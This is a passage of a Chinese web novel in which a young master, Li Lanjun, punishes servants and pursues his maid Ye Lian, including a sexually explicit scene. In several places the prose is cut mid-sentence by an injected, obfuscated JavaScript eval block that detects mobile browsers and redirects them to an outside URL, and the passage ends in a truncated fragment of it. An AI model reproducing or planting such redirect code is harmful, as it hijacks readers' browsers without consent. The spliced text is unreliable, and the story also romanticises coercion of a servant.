叶莲吊在不远处桃树上，抬起头准备看她们的好戏，手上的疼辣都因眼前事物减轻了。 “你说，那些都是在莲儿房中找到的？” 李兰钧居高临下地看着她，冷冷发问。 林檎被摔得面目狰狞，听他发问，拼力挣扎起来跪好，“是……是奴婢在她房中发现的。” 叶莲一听念到自己的名字，顿感不妙。 “你何故去翻她的房间？”李兰钧继续道。 “奴婢丢了东西，一路找到她房里，这才发现她竟然私藏……” 未等她说完，李兰钧及时喝道：“贱丫头，你当我蠢么？” “你们这些谄上欺下的东西，真以为我这些天一点儿都不知！还是说你们早就不把我看在眼里了？” 林檎听罢，惊恐失措地伏在地上磕头，也不辩解，只是一味地重复“奴婢知错”。 李兰钧阔步走下台阶，立在她们面前，三个侍女闻声从磕头中抬起脸，哭得涕泪横流。 “少爷饶命，奴婢真的知错了！” “求求少爷网开一面……” 他漠然看着一切，负手冷哼，“找个人牙子把这两个卖了，林檎——” “掌嘴三十。” 林檎脱力地坐倒在地，侍从走上前将她架起，也不等她准备，扬手就是一巴掌。 书房门口乱作一团，李兰钧从混乱中转头，与叶莲相视。 他眼里气焰未消，看着叶莲的眼神难以捉摸，叶莲吓得赶紧垂下头，生怕殃及池鱼。 他不继续处置下人，反而移步走到叶莲身边，在桃树下站定，黄莺闻声而四散飞开。 “你怎么会拿了那幅画……” 李兰钧的声音在她耳边响起，听不出喜怒。 叶莲咬着牙，脑中浮现从库房拿出的莲花图，莫非冬青管事没看清楚，她拿到了不该拿的物件？ 她张嘴，唇角止不住地颤抖，“奴婢、奴婢……” 不等她说完，余光里李兰钧扬起手，修长苍白的五指便要落下来。 叶莲缩着肩闭眼—— 腕上的束缚一松，她控制不住地往前跌去，李兰钧也不躲，生生抱了她满怀。 他抱着她后退几步，才稳住身形。 叶莲埋在他怀里，一时不知到底发生了什么，沁人心脾的暖香裹住她，头脑忽然就钝化成废。 就在她以为李兰钧要把她扔出三里开外时，他伸出一只手环住了她的腰。 叶莲的头几乎快炸成烟花。 “我问你呢。”头顶传来李兰钧不轻不重的声音。 “看着好看……”叶莲老实告诉他。 “只是看着好看？这么多值钱的物件，你偏偏就选中了这个？我不信。”李兰钧势要打破砂锅问到底。 叶莲缩在他怀中一动不敢动，北院的下人都将他们的言行看在眼中，她像是偷腥被捉似的，一点不自在。 “少爷，是真的！”叶莲闷在衣襟间，怯怯抬起头露出两只眼睛，“上面画了莲花，我名字里有这个字，就……拿了。” 这幅画到底是出自何方神圣之手？ “画得怎么样？”李兰钧不合时宜地问。 叶莲隐约猜到了什么，她眨眨眼回，“好看，像真的似的。” “我画的。”李兰钧不打自招。 叶莲：“……” 李兰钧搂着她恋恋不舍地磨蹭了一会儿，直到巴掌声停下，他才慢慢松开手。 叶莲迅疾地脱出他的怀抱，低着头不敢看他。 “她们这么对你，你就没反抗一下？” 李兰钧倦得伪装，直接问道。 他本来想等事发再站出来，说几句笼络她的漂亮话，可那幅画从林檎手里展开时，他却在霎时间改了主意。 从一众赏赐里仅仅拿了他的画，如此讨他欢心的行为，莲儿就算机关算尽，真的能做到这一步吗？ 她曾亲口说她不识字，是真还是假呢？ 李兰钧决定随心而行，假的又如何，他就喜欢有人哄着他。他要将她留在身边，做个通房也好，妾室也罢， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263953|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要他喜欢的东西，就必要攥在手里。 小丫鬟面色酡红，细声细气地答，“不敢……” “你真是个扶不上墙的，”李兰钧嗔怒着怼她，“不是让你当了大丫鬟么，还被欺负成这样？” 叶莲半晌说不上话。 李兰钧等不到她的回复，干脆拉着她的胳膊往书房走。 叶莲迈着碎步被他拉着，一路走到书房正中间，李兰钧才停下放了她的胳膊。 室内的下人想不听到外面的动静都难，现下唇亡齿寒，一个个心里恐慌得不行，生怕李兰钧为博叶莲一笑，随意揪着一个打死消遣。 “辛夷。” 首当其冲的必定是这位掌事丫鬟。 “奴婢在。”辛夷颔首走上前，面色如常。 “啪——” 李兰钧甩手给她一个清脆的耳光，她的半张脸顷刻红肿起来，发髻也被打得散乱。 “你就是这么治下的？”他打完冷冷问，眼神凌厉，“当初我母亲送你过来，我本不愿李府的人掺合我的事，却还是留下你。就是觉得你行事有分寸，能看管住下面这些人……” “你若是对我有成见，才故意纵容他们胡作非为，那我明日就送你回李府，让他们处置。” 辛夷虽有些狼狈，但神色还算平和，甫一听要回李府，惊得跪下来颤声道：“少爷，是奴婢管教不严，奴婢愿领罚，还请再给奴婢一次机会！” “你好自为之，”李兰钧见她反应，面色更加阴沉，“到外面去跪着。” 辛夷郑重地磕了两个头，躬身出门。 “你们……”李兰钧扫视室内一众下人，“扣三月月俸，再打二十板。滚！” 书房的下人听命下去领罚，直到室内快清干净，最后几人还未踏出房门，他又补充道，“方才给她绑绳的，再打二十板。” “她”是哪位，不言而喻。 叶莲站在他身侧，总觉得自己已成了李兰钧的宠婢，即使他们什么都没做，也只能这么不清不白地受着。 李兰钧对她好得不一般，定是把她当作取乐之人了……叶莲无可奈何地想。 “日后你想说什么便说，想做什么便做，也可开口问我，我特赦你无罪，不必总是小心翼翼的。”李兰钧偏头看向她。 叶莲惶恐地遵命，“是，奴婢谢少爷。” 李兰钧挑眉，示意她现下就说些问些什么。 她还真有想问的，一直百思不得其解：“少爷，您为什么对奴婢这么好……” 她既不出众，也不博学，李兰钧却偏偏看上了她，要对她软硬皆施，非赖着她不可。 这个问题倒问住李兰钧了，不是“为什么”，而是“这么好”，他自认为从未真正对她好过，比起好，坏好像更多一筹。 也不知她是不是傻，或是记性有问题，他甚至还没开始对她好，怎么就有“这么好”了。 “我想对谁好就对谁好，你有意见？” 李兰钧回得马虎，压根不算回话。 “没有没有，就是不明白为什么。”叶莲听从他的指示，想说就说。 “为什么？” 李兰钧疑心她在欲擒故纵。 “你说为了什么……” 22. 狂言 他忽然凑近，嘴角噙着一抹似有似无的笑意，那双桃花目在她脸上上下打量，长而卷翘的睫毛睁闭间擦过眼下肌肤。 近在鼻息间的面容，仿佛呼吸都交缠在一块，叶莲忍不住向后退去，不敢细看他的眉目。 “奴婢不知……” 李兰钧上前两步逼近，从鼻间哼出一声带有疑惑的“嗯”。 见叶莲不答，他难得有耐心地等她回话，目光灼灼似要看透对方。 叶莲被他这么直勾勾地盯着，更加说不出话，她把心中的想法压下去，决心闭口不言。 “我就喜欢你……” 叶莲呼吸一滞，感觉听到了不该听的话。 李兰钧一边说一边朝她贴近，羽睫扑朔流离，一睁一闭扑在叶莲心尖上，叶莲沉着声气，直觉得心乱如麻，鼓动得受不住。 “身上这股聪明劲。”李兰钧故意说话大转弯，悠悠补上后面一句。 叶莲：“……” 她松一口气的模样被他看在眼里，李兰钧伸手一捉，把她的手捏在掌心，随后又得逞地往自己身上一带。 叶莲本就神思凌乱，他这一带轻易把她带到身前，她的鼻子撞到他瘦削的胸骨上，吃痛地捂着鼻子缩到一边，不敢与李兰钧有肢体接触。 “莲儿，我喜欢你，你不高兴？” 李兰钧瞧着她瑟瑟发抖的模样，更是觉得有趣至极。 叶莲实在不知该说高兴还是不高兴。 “能被少爷赏识，是奴婢的福分……”她故作镇定地答。 可眼下无论声音还是动作都出卖了她，叶莲缩在李兰钧怀里，从上往下看像柔柔依偎，好不可怜，虽没接触到，但在李兰钧看来也只是他们之间的拉扯玩乐。 就如同入洞房之前要说些体己话，提升闺房乐趣罢了。 李兰钧对她有深深误会，此刻正笑得如沐春风，他牵起叶莲另一只手，将她锁在咫尺之内。 “你拿了我的画，又得了我的帮衬，你说，该怎么报答我才够呢？” 叶莲觉察到他的气息愈发近，几乎是在她耳边轻轻呢喃，热气喷洒在耳后，叫她发痒也不敢多动。 青天白日，李兰钧要做些什么也不会有人制止，要对她这个小丫鬟如何，更是理所当然…… “奴婢……”叶莲避无可避，梗着脖子立成一座石敢当。 她能有什么可回报的？李兰钧这是把她往歧路上引。 “可否等奴婢想好报答再来与少爷说？” 叶莲试图转圜道。 “不可。”李兰钧依旧不给她余地。 “少爷方才说奴婢想做就做，现下奴婢想思考好了再给少爷答复，不可以么？” 叶莲忆起他的话，咬咬牙继续求他。 室内安静了片刻，李兰钧贴着她不动，他向来想一出是一出，当场反悔亦不在话下，可他瞧叶莲哆嗦着抖得不成样，又决定给她些时日准备。 他虽对闺房之事有着不少向往，却不想被别人看出心急，以显得自己饥渴难耐，所以面上还得装作清心寡欲。 李兰钧喉结滚动，若无其事地开口，“哦，那你想去吧。” 他心怀不悦，一下就放开她，忍着脾气面无表情地看向别处。 叶莲得了解脱，忙福身谢道：“谢少爷！” 李兰钧不应她，他目光落在书案那幅展开的画卷上，画中花叶舒展，是他十五岁在书画先生的指导下描绘自家庭院池景。 本是随意写写画画，竟真的有人当宝贝，从古迹名画中挑出收藏。 殊不知叶莲当时只是觉得挂在墙上的没那么贵重而已。 “这幅画你一同拿回去。” “少爷不是说，这是你亲自画的么？既然是亲自画的，想必十分宝贝……”叶莲不知他是何意。 李兰钧打断道，“既然你从那里面选了它，就是你的了，我还没这么抠搜小气。” “谢少爷，奴婢一定好好珍惜！” 叶莲颔首抿着嘴说道，颊边现出两只浅浅的梨涡。 香炉中袅袅升起一缕香烟，李兰钧春日惯用鹅梨香，清幽宜人，千丝万缕的烟气散入室内，他闻着却想换成芙蕖香，和他寝居一般，一入内便能闻到与叶莲相媲的芳香。 “你和外边那些不一样，不必非要融入其中，与众不同，本就会招人妒忌。” 李兰钧想着魂牵梦绕的芙蕖香，嘴上也不忘提点叶莲。 下人对待下人有时甚至比主人刻薄，他们允许同化，不允许异化。 “是。”叶莲算是异化完全了。 “去府医那儿领些擦药，我看你的手都渗出血了。”李兰钧格外关心道。 “少爷……” “你手坏了谁给我做早膳吃？蠢丫头。” 不等她开口拒绝，李兰钧立即喝斥道。 叶莲只得遵命。 她从书房的门槛跨出去，李兰钧已经不站在那里了，他坐在书案边继续写着，而屋外的人见她完好无缺地出来，或表或里的眼神都带着无数审视。 叶莲往投掷眼神处看过去，他们又埋头故作无视，往前那些坏事他们不敢再做，如今的叶莲受了李兰钧明面上的庇护，她再也不是谁都欺负得起的了。 那些厌恶又拿她没有办法的人，也只能卑躬屈膝叫她一声“莲儿姐姐”，不论年纪大小。 叶莲明白自己是用什么换来的。 李兰钧的骈文还未写下几字，又将目光放在门口的叶莲身上，她在门边站了一会儿，才托着手离开。 她的身影渐行渐远，直至再也看不见，李兰钧收回目光，文思早已被扰乱，不知从何下笔。 他拉着她的手时，摸到那块瓷器所伤的疤痕，新伤复旧伤，绳索勒出的痕迹叠在上面，她的手上快无处安放。 原以为她只是会在自己这吃些苦头，没想到北院里随意一个丫鬟都能欺负她，李兰钧顿时觉得叶莲非同一般的受气。 她的逆来顺受竟然成了习惯，心机都用在何处了？ 李兰钧从袖中摸出一方手巾，正是他赠予叶莲的那块。他在她面前信誓旦旦地说“没这么抠搜小气”，实际上偷偷收了贴身的手巾，留一副不痛不痒的画还给她。 他尚无任何自知之明，留手巾也留得理直气壮，脸都不带红一点。 手巾清洗干净，有四四方方的折痕，想是叶莲放在压箱底的地方，上面皂荚味已经散得差不多，却多了其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276962|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他香气，似乎是与衣裙放在一处沾染上的。 林檎将这两样东西摆在他面前时，说“藏得极深，费了好些功夫才翻出来”。 李兰钧将手巾凑近鼻尖，桂花暗香与茶末香混合，香气不如他平日用的高雅矜贵，像是街市上贩卖的香囊所用的香料。 这廉价的香气中隐隐透出小丫鬟的体香，柔和香甜，在其中脱颖而出，须贴紧才能嗅出。 他不多品鉴，收了手巾掖入怀中，那些旖旎盘旋于心尖久久无法消散。 一手骈文被他写得稀里糊涂，其间涂抹改错有十几处之多。 食不知味地用了晚膳，夜里又突然有了胃口，遂差遣人唤叶莲给他做鱼米粥，暗藏私心想见她一面。 今日北院尽数遭责罚，所以守在寝居外的仅有几人，寝居内更是只李兰钧坐在床沿上静候夜宵。 叶莲穿着侍奉那夜见过的藕荷襦裙，端着一碗清粥走进门上前。 那件襦裙在冬日穿算单薄，如今春至正合时宜，衬得她又娇又俏，眉眼如春芽般柔嫩，眼底滟滟水光，与昏暗的烛火下相比另是一番好光景。 李兰钧本就破碎的道心更是碎得一塌糊涂。 “少爷。”叶莲将粥置在几案上，颔首见礼。 “你怎么穿这身来？”李兰钧盯着她移不开眼。 “噢，本要穿那身缝补过的，见这身衣服被翻出来，想着比缝补过的体面些，就临时换了这身。”叶莲答道，眨眨眼抬头忐忑地看他，“少爷，是有什么不妥么？” 李兰钧摸摸鼻头，看向别处，“没什么……” 叶莲点点头应声，随后拿起鱼米粥搅拌两下递给他。 四下无人，李兰钧恶从胆边生，仰脸看叶莲道：“你喂我。” 他有手有脚，却撑着双手在床沿上耍无赖，叶莲无可奈何，只好鼓着腮帮子吹凉一口粥，再递到李兰钧唇边。 李兰钧乖乖吃干净一口。 襦裙袖摆比冬装宽松不少，她半截手臂因伸长而露出，上面破皮的伤赫然现出，葱白上突兀地显露着嫣红。 “药已经涂了么？”李兰钧吞下一口粥，问。 “涂了，效果特别好，奴婢的手腕已经不大疼了。”叶莲细致地说。 李兰钧心不在焉地颔首，目光在她面上停留，又缓缓往下端详。 叶莲喂完一碗粥，拿起手帕给他擦拭嘴角，看到手帕便想到李兰钧给他的那方手巾不翼而飞，不知被谁私藏了。 手指卷着帕角往李兰钧唇上凑，轻柔细腻地擦拭残余的食渍，李兰钧看她的眼神愈发滚烫，仿佛要烧穿一个洞来。 他答应她给她时日考虑，应该不会突然毁约吧…… 叶莲在心中质疑起李兰钧的言行可靠程度，手上无意间偏了一寸，指尖落到他唇边，触到那片柔软唇瓣。 二人均是一愣，未等叶莲撤回大逆不道的手指，李兰钧率先伸出舌尖，垂眸舔了一下出界之处。 指尖一片湿濡。 叶莲陡然间抽出手，连连后退几步，差些步态不稳摔在地上，她将手指蜷入手心，再慌乱不堪地藏匿于身后。 “少、少爷……！” 她看李兰钧如同色中饿鬼。 23. 难抑 这边李兰钧收起舌尖，面上脸不红心不跳，含笑看着她，“怎么了？” 他眉眼轻弯，眼下那颗小痣在丝丝笑意里万种风情，配上病态苍白的肌肤，说不上来的引诱之态。 叶莲看得有些发愣，回过神来才赶忙垂下头，捏着裙角道，“没……没事。” 李兰钧想必也不会承认。 “那你退这么远做甚？”他抬起手朝她招招，散漫得像唤狗似的，“过来，到我身边来。” 身在寝居，李兰钧又是宽衣解带的模样，叶莲苦思苦虑，犹豫着不愿上前。 见她踟蹰不前，李兰钧收了笑意，有些愠怒地放下手对她说道：“你蹬鼻子上脸的本事倒很有长进啊！” “我白日才给你的特权，现下就要用在我身上？” 满室风暖，软帐黄烛，窗边迎春在乍暖还寒中瑟瑟绽放，几片花瓣从缝隙掉入室内，桐油红酸枝地板上点点淡黄。 他这捉摸不定的脾气如今却让叶莲安心，她习惯于他的乖张，对他柔情蜜意的模样毫无应对可言。 “奴婢方才不是成心的……”她哭丧着脸抬头。 “方才，哪个方才？”李兰钧冷哼道，语气里带着揶揄。 “碰了您嘴角的方才，少爷，奴婢知错了……” 叶莲哪里有装傻的时机，干脆也不跟他打哑谜，直言不讳。 李兰钧脸一扬，傲气十足地道：“你还知道？那还不来给我把嘴擦干净？” 周旋不过，叶莲应声垂着脑袋走到他身前，又拾起一块新的手帕慢吞吞地凑近唇边。 她这回不敢多碰，用手帕包着手指一点点给他擦了个干净，才谨慎地退到一边放下。 李兰钧本想趁她擦拭的时段再逗逗她，没成想叶莲怕他怕得跟鬼似的，半点不让他碰着。 “……” 眼见她要端着碗告辞，李兰钧几乎厚了平生最多回的脸皮，又唤道，“我要睡了，给我掖被子。” 他开始懊恼为何之前不任职个暖床丫鬟，弄得他想尽手段也只能让她掖掖被子，而不是上榻上来给他煨暖手脚。 曾经万般挑剔，不愿下人与自己有过分接触，更是洁身成性，受不了亲近他人，如今这苦头终是显现了。 “是……”小丫鬟不情不愿地欠身，放了手上东西又上前给他掖被子。 李兰钧只穿着素色中衣，松散地笼在他身上，衣领交叠处露出胸口一小块皮肤，墨发披散于肩头锁骨上，背后长至抵床。 几缕发丝搭在胸前，交缠着藏入衣领之中。 叶莲要略过他才能够得着锦被，见李兰钧一动不动地坐在床沿望着她，她几经思索，还是开口道：“少爷，您先躺下……？” 语气怯怯，明显中气不足。 李兰钧挑眉，依言躺在床榻正中处，等着她来为自己盖上被子。 若她俯身去扯被，一定会被李兰钧趁机抓住，然后发生她绝不想看到的情况，叶莲盯着床榻上的一人一被犯难。 她忽然看到床沿，于是计上心头，扒着床沿伸手去扯过锦被盖在李兰钧身上：比起双手去掖，被李兰钧拉下滚在一起，至少现下能有脱困的可能！ 李兰钧见她用一种诡异的方式给自己掖被子，一只手紧紧攥着床沿，另一只手忙活于锦被之间，他静默看了一会儿，不知该气还是该笑。 “莲儿。” 最终恼怒战胜了喜意。 他脸色骤然一变，抬起眼不悦地看着叶莲。 叶莲被他的脸色吓得一抖，收拾锦被的手指顿时僵住。她也知自己举止荒唐，但实在没别的办法躲过，所以只能想出这个蠢法子，以掩耳盗铃用。 李兰钧大手一捞，将她拉落困在怀里，“你就厌恶我至此？” 叶莲呈“大”字落入他怀里，二人肋骨碰撞在一起可谓是一阵惊痛，她闷哼一声，泪花差点被撞出来，向来娇生惯养的李兰钧却一声不吭。 这下他是真的生气了。 “不……不是的，”叶莲手足无措地回，挣扎着用双手支在李兰钧脑袋两侧，撑起来看着他，“奴婢一点都不讨厌您……” 说一点都不讨厌还是有些虚假，但她第一眼见李兰钧之时，便觉得世上怎么会有这么好看的人，体会到他的坏脾气后虽有些怨言，对于他那张俊脸却是无话可说的。 “那你躲我？那你像防贼似的防我？你嘴里到底有一句实话么？莲儿，你是要气死我么？”李兰钧一通责问，他眼尾微微发红，皱眉龇牙的模样像只炸毛的狸猫。 叶莲支着的手抖若筛糠，近看李兰钧发怒让她的害怕成了具象，她只得咽咽唾沫，抚慰似的回他：“奴婢只是还未思考好，少爷您别生气了……” 是李兰钧说给她时日思忖，也是李兰钧对她的退缩大发脾气，如今却要叶莲小心安抚，迁就调解。 “到底何时想好？”李兰钧给她下最后通牒。 白日才允诺的话，夜里就要她给答复，李兰钧的脸果然变得比翻书还快。 “奴婢不知……但奴婢会尽快的！” 见李兰钧脸色急转直下，叶莲连忙将后面的话飞速吐出。 “哦……” 李兰钧撇撇嘴，万分不情愿地道。 “那少爷可否放奴婢下去，让奴婢回房好好想想？” 叶莲不自在地动了动，细声乞求他。 她由上而下地俯视着李兰钧，碎发散下落到他面上，双腿与他的交叠，外人怎么看怎么奇怪，更何况她自己。 李兰钧盯着她不说话，像是没消气。 叶莲只好支在他身上，等他的金口玉言，间隙将碎发别到耳后，又大着胆子拂开他面上散落的。 她此行已是示好，不过李兰钧吃不吃这一套又是另外一回事了。 李兰钧捉住在他面上拂动的手指，凑到唇边吻了吻，柔软的唇瓣擦过指尖，又细细往下吻，直至吻到那块歪扭的伤疤上。 他用唇蹭了蹭那儿，停在伤疤上许久。 手掌的痒意蔓延到心上，叶莲触电般要撤开手，李兰钧却使力不给她挣脱，琉璃珠似的眸子直直盯着她，纤长的睫毛扫过指尖。 叶莲直觉得心里和耳边同时传来“扑通扑通”的声响，愈发热烈强劲，声量大到几乎要被李兰钧听见。 “少爷！” 似是有什么东西要断线了，叶莲急着把它修补完全，不顾情形挣开桎梏从床榻上滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292160|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，狼狈地摔到地上。 她顾不上身上的疼，连忙爬起来伏在地上，呼吸凌乱地告退，“小厨房柴火未灭尽，奴婢去看看火！” 也不等李兰钧应允，她拖着腿一瘸一拐就奔出门，走得急切万分，一刻都不敢停留。 门被破开，夜风徐徐袭入，室内徒留李兰钧撑着手坐在床榻上，唇上似乎还残留着她的香气，他要去触时却被春风卷走，只余一室芙蕖香。 锦被下有物件突兀地支起，他单薄瘦削的背细看在瑟瑟打着颤，微风带来的冷意抚过脸庞，经过耳廓时引得他一阵慌乱，耳尖已如海棠花瓣一般点缀上绯红。 “灭灯……” 李兰钧哑声道。 门边的丫鬟闻言入内吹灭烛火，再出门时寝居只点了门边两盏微弱的黄烛，昏黄的烛光打在屏风上，被隔绝过的灯火更加晦暗。 他在一室昏暗中细密呼吸着，随后反手从枕下摸出一方碧色手巾，那条手巾被他紧紧攥在手心，揉皱成团。 仅有过片刻犹豫后，李兰钧将那团手巾凑到鼻间。 丝绸包裹住口鼻，缥缈的暗香便清晰浮现，拨开俗气的脂粉香味，深入骨髓的是恰似酥酪的香气，李兰钧用香十余年，几乎对此不可言说。 他探手入被中，搭上一叠山峦，从顶端向山脚下延伸，指节和脸颊在行进中均染上透粉，绯色沁出层出不穷的薄汗。 那双含情而清高的眉目彻底被污浊淹没，偏偏他眉间的苦闷扰乱安宁，遂以勾勒出一副欲拒还迎的姿态。 “嗯……” 李兰钧闷哼着呼出一口浊气，整个人脱力地靠在床栏上仰头大口呼吸。 屏风半掩自化风月，几瓣迎春被风托着往深处落，廊下嫩黄无意吹散入温室，引来半分春色浅淡，最后歇息于屏风一角。 满室活色生香。 他从欲望中抽身而沉寂下来，鬓边几缕发丝黏在颊上，眼前似乎还在朦胧着，瞧什么都不真切。 掌中绵密，一身凌乱难堪，此刻的不适却不能立即唤人进门清洁，须得自行承担，不然要被人见到丑态，他不答应。 幸而他备有多方手巾，才能将手里这方独特的继续掩藏下去，以解愁思。 李兰钧颤颤巍巍地走下床榻，随意在屉间翻找出一块丝绸锦帕，毫无怜惜之意地擦擦手心，又换一面擦别处。 莲儿，莲儿。 他逼迫自己不去想这个人、这二字，不然羸弱的躯体立刻又要投身苦短良宵。可闭上眼笑意盈盈的脸却像烙印般刻在脑中，她俯身为他抹去几缕青丝，柔荑仿佛再度抚上面颊，残余虚假的温存。 李兰钧压抑得彻夜不敢阖眼。 这样劳心伤身的事，凡诊过他的郎中都与他仔细叮嘱过，李兰钧今夜前谨遵告诫，今夜后怕是要阳奉阴违了。 他因病而缠身的邪气拔高数百丈，从前尚能抵制，数千次幻想都被他生生拦腰折断，因为他惜命、怕死；而今食髓知味，恐怕再也不知餍足。 李兰钧曾深深鄙夷被情爱耗干气血的纨绔，牡丹花下死，从不珍惜他求而不得的康健身子—— 他也要死了，要死在一枝亭亭清荷之下，苦求不得而焚身欲海…… 24. 吃味 正是春意浓盛的时节，南园百花争奇斗艳，在一簇一簇的殊色间，北院西府海棠在群芳中更胜一筹，旨在个数繁多。 游园赏花的绝佳机缘，李兰钧却突如其来感了风寒，卧在病榻上无意春色。 府医搭在他脉上的手指迟疑地收回，面色比新芽青绿，“呃……这大约，也许是劳累所致……” “什么大约也许的，你支支吾吾个什么——”李兰钧用带着鼻音的嗓子开口，还没骂完就看府医朝他瞪着眼，顿时明白怎么一回事，于是不吱声了。 他自知理亏，近日常在卧榻上耗费心力，本就孱弱的身子难免不因气血亏损而垮塌，仅仅是风寒已算轻症。 “人参养荣丸、八珍汤、归脾丸……在下先开这几幅过来，疗效不佳再辅其余药物。” 府医埋头在纸上涂涂画画，复又抬头见李兰钧面色惨白，忍不住出声婉言提醒：“少爷自身也须注重保养，不然就是在下开多少方子，也于事无补啊……” 他此言就差指着李兰钧的鼻子斥他：你这是纵欲过度！ 幸而近来李兰钧差遣侍从收拾被褥，更不让下人近身服侍，不然定会被发现端倪。 “知道了。”李兰钧无力地摆摆手。 府医退下后，一旁冬青才从暗示对话中缓缓回过神，他奔走在各大世家，最近才闲下来，却没想到李兰钧出了问题。 李府那头必是要通传，可眼下李兰钧怕是不肯见人，那边心急如焚见不到李兰钧的面，届时他该如何答复呢？ 冬青脑子里飞快地转动着。 “你那相好的事，你知道了吧？”李兰钧见他沉默不语，眉头快皱成川字，遂张嘴提及林檎。 冬青被他点到，忙回：“奴婢听了个大概，知晓她以下犯上，的确是自身的毛病。” “她毛病可多了，前前后后闹出的事到如今都没消停，若不是看在你的份上……”李兰钧觉得自己实属太好说话，“反正，若她再犯就调到前院去，或是去庄子上，你让她自个想清楚了。” “林檎个性张扬，给少爷添了许多麻烦，少爷对她已是宽待，奴婢听从安排。” 冬青略一思索，颇为无奈地叹气道。 李兰钧横眉冷声训他：“你就不能换个相好？” 他们并未嫁娶，若冬青想换定是可行的，但冬青只是垂眸任他斥责，并未多说什么。 少爷何时如此关照他的私事了？ 冬青想到此事的由头名为“莲儿”，豁然开朗起来，他待李兰钧捂着心口咳嗽完，一边给他顺气一边回，“我与她相伴多年，实在是……舍不得。” “你们又没成婚，有何舍不舍得一说。” “我攒钱给她置办了不少首饰，待她娘松口，我定风风光光将她娶进门。” 林檎她娘是张姨娘院里的管事嬷嬷，一心想让女儿回李府嫁给账房过安生日子，冬青这样奔波劳碌的她不大瞧得上。 所以冬青与她情深，也抵不过丈母娘一句话。 李兰钧听着别扭，他向来眼里容不得沙子，顺他则安，逆他则……收拾包袱滚，根本体会不了这种感受。 林檎这样的蠢货，他必见不得留在身边。 “哦，那你倒是用心。”李兰钧瞥他一眼，幽幽转过身子喝汤药。 冬青感知到他无端的不悦，丈二和尚摸不着头脑。 “少爷，奴婢看您对莲儿也挺用心的啊……”他好不容易憋出句好话，偏偏马屁拍到了马腿上。 李兰钧一听“莲儿”这让他不得宁日的二字，登时黑了脸，咬牙切齿地喝：“不许提她！” 叶莲这些日子躲他跟躲仇人似的，他再想用心也用不上，一肚子气正无处发泄，冬青这嘴笨的一提，怒火就“腾”地水涨船高。 “奴婢多嘴……” “我现下不想听关于她的半个字，懂么？” 李兰钧斜眼看他，一张俊脸好不郁闷。 冬青连忙点点头，“懂，懂！” 实则没太懂。 莲儿近来安分守己，没做半分出格之事，怎么就惹得李兰钧满腔怒火呢？或许就是因为没出格。 他从李兰钧手上那碗黑洞洞的汤药里瞧出所以然来：本以为少爷自行消泄是到了年纪，没成想是有了求不得的人…… “咳咳……” 李兰钧喝完一碗汤药，抑不住地咳成哑声，一通咳喘下来，泪花直逼眼角。 他揩揩眼角泪，半晌不能平息。 “少爷，家中送来书信几封，需要奴婢给您拆开读信么？”冬青轻轻给他拍背。 李兰钧此时正烦闷着，但想李府对他上心非凡，不回定要被上门叨扰，便散漫地摆摆手，道：“你看了同我说个大概，我再做定夺。” 无非是些不着调的问候关心，他倒不介意被谁偷窥了去。 冬青颔首，从袖中摸出几封书信，开始一目十行地看读起来。 “夫人问候了您的身子，提到十五有个赏花会，城中适龄佳人才俊皆会参与，叫您酌情考虑赴会。” 李兰钧回绝：“有什么好看的，不去。” “几位姨娘的信都是关心身子的，她们还与夫人一同附赠了大量名贵药材，连天山雪莲都送过来了两株，这天山雪莲……” 李兰钧嗔怒道：“莲莲莲，不是叫你不要说这个字么！” 冬青赶紧住嘴，拿出最后一封书信读，他方才读完便高兴地笑了起来，对李兰钧道：“少爷，这封是老爷的！” “哦，有什么稀奇的？”李兰钧将头一扭，仿佛这张书信呛眼。 “老爷如今赴各个县体察民情，说昔日爱护少爷，不予官职头衔，但见各家子弟谈笑风生、相互扶持，突恐您孤苦无事，终生苦闷不得志，便想给您谋个差事……” 李兰钧甫一听差事二字，已激动不能自抑，却要装作不在乎地压下喜悦回：“哦，终于想起我这个便宜儿子了。” 冬青忙给老爷子辩护，“老爷心中一直牵挂您呢，只是嘴上不说。” “行动上也不做，”李兰钧顺嘴呛他，又作不经心地问，“他何时筹谋？” “待老爷处理完公事。” 李兰钧这才舒畅一些，不自觉地用手指叩叩桌面，指尖传出轻快地碰撞声。 门前桃花满枝头，海棠也从一侧探出身，满地梨花白、桃花粉，斑斑驳驳地盖住青绿新草，李兰钧心情大好，分出视线隔着屏风赏景。 石板路上落英缤纷，一双粉白小鞋踏入这方春景之中，拖着粉绿裙摆徐徐而至。 李兰钧蓦地收回视线，连同美好心情一道收回。 “少爷，奴婢来送汤药小食。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 